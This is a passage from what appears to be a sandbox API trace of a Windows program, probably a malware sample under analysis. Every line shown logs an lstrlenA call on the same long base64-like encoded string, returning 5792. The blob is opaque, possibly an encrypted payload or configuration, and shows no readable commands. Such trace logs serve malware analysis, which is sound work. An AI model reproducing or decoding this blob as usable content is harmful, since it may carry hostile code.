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") returned 5792 [0128.361] lstrlenA (lpString="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") returned 5792 [0128.362] lstrlenA (lpString="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